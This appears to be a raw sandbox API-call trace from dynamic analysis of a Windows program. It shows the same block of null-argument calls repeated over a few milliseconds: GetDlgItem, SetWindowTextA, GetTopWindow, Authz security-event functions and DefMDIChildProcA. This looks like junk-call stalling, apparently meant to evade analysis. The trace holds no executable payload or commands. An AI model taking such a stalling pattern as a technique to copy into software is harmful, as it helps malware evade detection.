[0025.680] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.680] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.680] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.680] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.680] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.680] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.680] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.681] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.681] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.681] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.681] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.681] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.681] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.681] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.681] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.681] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.681] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.681] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.681] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.681] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.681] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.681] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.682] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.682] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.682] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.682] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.682] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.682] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.682] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.682] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.682] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.682] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.682] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.682] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.682] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.682] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.682] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.682] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.682] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.682] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.682] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.683] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.683] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.683] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.683] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.683] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.683] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.683] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.683] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.683] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.683] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.683] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.683] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.683] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.683] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.683] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.683] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.683] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.683] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.684] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.684] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.684] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.684] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.684] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.684] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.684] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.684] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.684] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.684] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.684] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.684] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.684] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.684] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.684] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.684] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.684] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.684] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.684] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.684] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.684] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.684] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.684] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.684] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.685] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.685] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.685] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.685] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.685] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.685] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.685] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.685] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.685] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.685] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.685] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.685] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.685] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.685] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.685] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.685] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.685] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.686] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.686] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.686] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.686] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.686] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.686] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.686] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.686] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.686] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.686] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.686] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.686] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.686] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.686] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.686] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.686] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.686] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.686] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.686] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.686] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.686] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.686] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.686] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.686] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.687] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.687] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.687] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.687] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.687] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.687] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.687] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.687] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.687] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.687] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.687] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.687] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.687] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.687] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.687] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.687] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.687] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.687] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.687] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.687] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.687] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.687] GetTopWindow (hWnd=0x0) returned 0x30140 